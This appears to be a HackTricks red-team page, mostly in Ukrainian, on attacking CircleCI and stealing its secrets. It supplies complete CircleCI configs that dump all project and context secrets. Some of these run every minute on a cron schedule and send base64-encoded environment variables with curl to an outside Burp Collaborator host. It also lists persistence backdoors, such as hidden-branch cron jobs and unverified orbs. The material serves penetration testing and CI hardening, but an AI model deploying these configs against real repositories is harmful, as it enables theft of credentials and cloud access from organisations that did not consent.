CircleCI Security

Reading time: 7 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Basic Information

CircleCI є платформою безперервної інтеграції, де ви можете визначити шаблони, вказуючи, що ви хочете, щоб вона робила з деяким кодом і коли це робити. Таким чином, ви можете автоматизувати тестування або деплойменти безпосередньо з вашої основної гілки репозиторію, наприклад.

Permissions

CircleCI успадковує дозволи з github та bitbucket, пов'язані з акаунтом, який входить.
У моєму тестуванні я перевірив, що, поки у вас є права на запис у репозиторії в github, ви зможете керувати налаштуваннями проекту в CircleCI (встановити нові ssh ключі, отримати api ключі проекту, створити нові гілки з новими конфігураціями CircleCI...).

Однак, вам потрібно бути адміністратором репозиторію, щоб перетворити репозиторій на проект CircleCI.

Env Variables & Secrets

Згідно з документацією існують різні способи завантаження значень у змінні середовища всередині робочого процесу.

Built-in env variables

Кожен контейнер, запущений CircleCI, завжди матиме конкретні змінні середовища, визначені в документації такі як CIRCLE_PR_USERNAME, CIRCLE_PROJECT_REPONAME або CIRCLE_USERNAME.

Clear text

Ви можете оголосити їх у відкритому тексті всередині команди:

yaml
- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

Ви можете оголосити їх у відкритому тексті всередині run environment:

yaml
- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

Ви можете оголосити їх у відкритому тексті всередині build-job environment:

yaml
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Ви можете оголосити їх у відкритому тексті всередині середовища контейнера:

yaml
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Секрети проекту

Це секрети, які будуть доступні лише проекту (будь-якій гілці).
Ви можете побачити їх оголошеними в https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables

caution

Функціональність "Імпорт змінних" дозволяє імпортувати змінні з інших проектів до цього.

Секрети контексту

Це секрети, які є всередині організації. За замовчуванням будь-який репозиторій зможе доступатися до будь-якого секрету, збереженого тут:

tip

Однак, зверніть увагу, що можна вибрати іншу групу (замість усіх учасників), щоб надавати доступ до секретів лише конкретним людям.
Це наразі один з найкращих способів збільшити безпеку секретів, щоб не дозволяти всім отримувати до них доступ, а лише деяким людям.

Атаки

Пошук секретів у відкритому тексті

Якщо у вас є доступ до VCS (наприклад, github), перевірте файл .circleci/config.yml кожного репозиторію на кожній гілці та шукайте потенційні секрети у відкритому тексті, збережені там.

Перерахування змінних середовища секретів та контексту

Перевіряючи код, ви можете знайти всі назви секретів, які використовуються в кожному файлі .circleci/config.yml. Ви також можете отримати назви контекстів з цих файлів або перевірити їх у веб-консолі: https://app.circleci.com/settings/organization/github/<org_name>/contexts.

Екстракція секретів проекту

warning

Щоб екстрагувати ВСІ секрети проекту та контексту, вам просто потрібно мати ПРАВО НА ЗАПИС до лише 1 репозиторію в усій організації github (і ваш обліковий запис повинен мати доступ до контекстів, але за замовчуванням кожен може отримати доступ до кожного контексту).

caution

Функціональність "Імпорт змінних" дозволяє імпортувати змінні з інших проектів до цього. Тому зловмисник може імпортувати всі змінні проекту з усіх репозиторіїв і потім екстрагувати їх усі разом.

Усі секрети проекту завжди встановлюються в середовищі завдань, тому просто викликавши env і обфускацію в base64, ви зможете екстрагувати секрети в консолі веб-логів робочих процесів:

yaml
version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

Якщо ви не маєте доступу до веб-консолі, але у вас є доступ до репозиторію і ви знаєте, що використовується CircleCI, ви можете просто створити робочий процес, який запускається кожну хвилину і експортує секрети на зовнішню адресу:

yaml
version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

Exfiltrate Context Secrets

Вам потрібно вказати ім'я контексту (це також ексфільтрує секрети проекту):

yaml
version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

Якщо у вас немає доступу до веб-консолі, але ви маєте доступ до репозиторію і знаєте, що використовується CircleCI, ви можете просто змінити робочий процес, який запускається кожну хвилину і експортує секрети на зовнішню адресу:

yaml
version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

warning

Просто створення нового .circleci/config.yml в репозиторії не є достатнім для запуску збірки circleci. Вам потрібно увімкнути його як проект у консолі circleci.

Втеча в Хмару

CircleCI надає вам можливість запускати ваші збірки на їхніх машинах або на ваших власних.
За замовчуванням їхні машини розташовані в GCP, і спочатку ви не зможете знайти нічого релевантного. Однак, якщо жертва виконує завдання на своїх власних машинах (можливо, у хмарному середовищі), ви можете знайти кінцеву точку метаданих хмари з цікавою інформацією.

Зверніть увагу, що в попередніх прикладах все запускалося всередині контейнера docker, але ви також можете попросити запустити віртуальну машину (яка може мати різні хмарні дозволи):

yaml
jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

Або навіть контейнер Docker з доступом до віддаленого сервісу Docker:

yaml
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

Persistence

  • Можна створити токени користувача в CircleCI для доступу до API-інтерфейсів з доступом користувачів.
  • https://app.circleci.com/settings/user/tokens
  • Можна створити токени проектів для доступу до проекту з правами, наданими токену.
  • https://app.circleci.com/settings/project/github/<org>/<repo>/api
  • Можна додати SSH-ключі до проектів.
  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh
  • Можна створити cron-завдання в прихованій гілці в несподіваному проекті, яке витікає всі змінні середовища контексту щодня.
  • Або навіть створити в гілці / змінити відоме завдання, яке буде витікати всі контексти та секрети проектів щодня.
  • Якщо ви є власником github, ви можете дозволити неперевірені orbs і налаштувати один у завданні як задню двері.
  • Ви можете знайти вразливість ін'єкції команд в деякому завданні та ін'єктувати команди через секрет, змінюючи його значення.

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks